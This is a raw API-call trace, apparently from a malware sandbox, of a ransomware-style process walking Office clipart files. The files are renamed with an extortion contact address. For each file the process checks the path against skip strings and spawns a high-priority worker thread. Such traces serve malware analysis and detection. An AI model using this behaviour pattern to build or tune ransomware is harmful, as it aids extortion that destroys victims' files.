	[0093.040] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif") returned 126
	[0093.041] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.041] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif", _SubStr="wasse") returned 0x0
	[0093.041] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif", _SubStr="passw") returned 0x0
	[0093.041] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f3088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x99c
	[0093.041] SetThreadPriority (hThread=0x99c, nPriority=15) returned 1
	[0093.043] malloc (_Size=0x1000) returned 0x51f4090
	[0093.045] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif") returned 126
	[0093.045] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.045] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif", _SubStr="wasse") returned 0x0
	[0093.045] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif", _SubStr="passw") returned 0x0
	[0093.045] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f4090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a0
	[0093.048] SetThreadPriority (hThread=0x9a0, nPriority=15) returned 1
	[0093.059] malloc (_Size=0x1000) returned 0x51f0070
	[0093.059] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif") returned 126
	[0093.059] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.059] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif", _SubStr="wasse") returned 0x0
	[0093.059] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif", _SubStr="passw") returned 0x0
	[0093.059] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f0070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x998
	[0093.060] SetThreadPriority (hThread=0x998, nPriority=15) returned 1
	[0093.066] malloc (_Size=0x1000) returned 0x51f5098
	[0093.066] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif") returned 126
	[0093.066] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.066] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif", _SubStr="wasse") returned 0x0
	[0093.066] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif", _SubStr="passw") returned 0x0
	[0093.066] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f5098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a4
	[0093.067] SetThreadPriority (hThread=0x9a4, nPriority=15) returned 1
	[0093.069] malloc (_Size=0x1000) returned 0x51f0070
	[0093.070] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif") returned 126
	[0093.071] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.073] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif", _SubStr="wasse") returned 0x0
	[0093.073] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif", _SubStr="passw") returned 0x0
	[0093.073] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f0070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x768
	[0093.074] SetThreadPriority (hThread=0x768, nPriority=15) returned 1
	[0093.082] malloc (_Size=0x1000) returned 0x51f60a0
	[0093.082] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif") returned 126
	[0093.082] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.082] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif", _SubStr="wasse") returned 0x0
	[0093.082] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif", _SubStr="passw") returned 0x0
	[0093.082] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f60a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e8
	[0093.082] SetThreadPriority (hThread=0x8e8, nPriority=15) returned 1
	[0093.084] malloc (_Size=0x1000) returned 0x51f3088
	[0093.086] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif") returned 126
	[0093.086] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.087] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif", _SubStr="wasse") returned 0x0
	[0093.089] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif", _SubStr="passw") returned 0x0
	[0093.089] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f3088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x83c
	[0093.089] SetThreadPriority (hThread=0x83c, nPriority=15) returned 1
	[0093.093] malloc (_Size=0x1000) returned 0x51f4090
	[0093.093] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif") returned 126
	[0093.093] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.093] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif", _SubStr="wasse") returned 0x0
	[0093.093] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif", _SubStr="passw") returned 0x0
	[0093.093] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f4090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a8
	[0093.097] SetThreadPriority (hThread=0x9a8, nPriority=15) returned 1
	[0093.106] malloc (_Size=0x1000) returned 0x51f4090
	[0093.106] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif") returned 126
	[0093.106] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.106] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif", _SubStr="wasse") returned 0x0
	[0093.106] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif", _SubStr="passw") returned 0x0
	[0093.106] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f4090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x980
	[0093.107] SetThreadPriority (hThread=0x980, nPriority=15) returned 1
	[0093.118] malloc (_Size=0x1000) returned 0x51f0070
	[0093.118] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif") returned 126
	[0093.118] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.118] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif", _SubStr="wasse") returned 0x0
	[0093.118] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif", _SubStr="passw") returned 0x0
	[0093.118] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f0070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9ac
	[0093.119] SetThreadPriority (hThread=0x9ac, nPriority=15) returned 1
	[0093.126] malloc (_Size=0x1000) returned 0x51f3088
	[0093.126] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif") returned 126
	[0093.126] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.126] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif", _SubStr="wasse") returned 0x0
	[0093.126] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif", _SubStr="passw") returned 0x0
	[0093.126] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f3088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b0
	[0093.126] SetThreadPriority (hThread=0x9b0, nPriority=15) returned 1
	[0093.144] malloc (_Size=0x1000) returned 0x51f4090
	[0093.144] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif") returned 126
	[0093.144] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.144] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif", _SubStr="wasse") returned 0x0
	[0093.144] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif", _SubStr="passw") returned 0x0
	[0093.144] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f4090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b4
	[0093.145] SetThreadPriority (hThread=0x9b4, nPriority=15) returned 1
	[0093.147] malloc (_Size=0x1000) returned 0x51f5098
	[0093.149] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif") returned 126
	[0093.149] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.149] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif", _SubStr="wasse") returned 0x0
	[0093.186] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif", _SubStr="passw") returned 0x0
	[0093.186] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f5098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b8
	[0093.187] SetThreadPriority (hThread=0x9b8, nPriority=15) returned 1
	[0093.190] malloc (_Size=0x1000) returned 0x51f60a0
	[0093.194] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif") returned 126
	[0093.194] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.194] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif", _SubStr="wasse") returned 0x0
	[0093.194] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif", _SubStr="passw") returned 0x0
	[0093.194] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f60a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9bc
	[0093.194] SetThreadPriority (hThread=0x9bc, nPriority=15) returned 1
	[0093.196] malloc (_Size=0x1000) returned 0x51f0070
	[0093.198] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif") returned 126
	[0093.202] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.202] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif", _SubStr="wasse") returned 0x0
	[0093.202] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif", _SubStr="passw") returned 0x0
	[0093.202] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f0070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9c0
	[0093.202] SetThreadPriority (hThread=0x9c0, nPriority=15) returned 1
	[0093.207] malloc (_Size=0x1000) returned 0x51f5098
	[0093.209] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif") returned 126
	[0093.209] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.209] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif", _SubStr="wasse") returned 0x0
	[0093.209] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif", _SubStr="passw") returned 0x0
	[0093.210] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f5098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9c4
	[0093.210] SetThreadPriority (hThread=0x9c4, nPriority=15) returned 1
	[0093.216] malloc (_Size=0x1000) returned 0x51f60a0
	[0093.218] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif") returned 126
	[0093.218] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.218] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif", _SubStr="wasse") returned 0x0
	[0093.218] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif", _SubStr="passw") returned 0x0
	[0093.218] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f60a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9c8
	[0093.219] SetThreadPriority (hThread=0x9c8, nPriority=15) returned 1
	[0093.224] malloc (_Size=0x1000) returned 0x51f3088
	[0093.226] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif") returned 126
	[0093.226] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.227] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif", _SubStr="wasse") returned 0x0
	[0093.227] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif", _SubStr="passw") returned 0x0
	[0093.227] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f3088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9cc
	[0093.229] SetThreadPriority (hThread=0x9cc, nPriority=15) returned 1
	[0093.231] malloc (_Size=0x1000) returned 0x51f0070
	[0093.233] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif") returned 126
	[0093.234] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.236] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif", _SubStr="wasse") returned 0x0
	[0093.236] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif", _SubStr="passw") returned 0x0
	[0093.236] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f0070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9d0
	[0093.237] SetThreadPriority (hThread=0x9d0, nPriority=15) returned 1
	[0093.239] malloc (_Size=0x1000) returned 0x51f4090
	[0093.240] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif") returned 126
	[0093.243] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.243] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif", _SubStr="wasse") returned 0x0
	[0093.243] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif", _SubStr="passw") returned 0x0
	[0093.244] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f4090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9d4
	[0093.246] SetThreadPriority (hThread=0x9d4, nPriority=15) returned 1
	[0093.251] malloc (_Size=0x1000) returned 0x51f0070
	[0093.252] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif") returned 126
	[0093.254] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.254] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif", _SubStr="wasse") returned 0x0
	[0093.254] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif", _SubStr="passw") returned 0x0
	[0093.254] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f0070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9d8
	[0093.255] SetThreadPriority (hThread=0x9d8, nPriority=15) returned 1
	[0093.258] malloc (_Size=0x1000) returned 0x51f3088
	[0093.259] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif") returned 126
	[0093.261] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.261] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif", _SubStr="wasse") returned 0x0
	[0093.261] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif", _SubStr="passw") returned 0x0
	[0093.261] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f3088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9dc
	[0093.262] SetThreadPriority (hThread=0x9dc, nPriority=15) returned 1
	[0093.268] malloc (_Size=0x1000) returned 0x51f5098
	[0093.268] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif") returned 126
	[0093.268] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.268] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif", _SubStr="wasse") returned 0x0
	[0093.268] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif", _SubStr="passw") returned 0x0
	[0093.268] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f5098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9e0
	[0093.269] SetThreadPriority (hThread=0x9e0, nPriority=15) returned 1
	[0093.279] malloc (_Size=0x1000) returned 0x51f5098
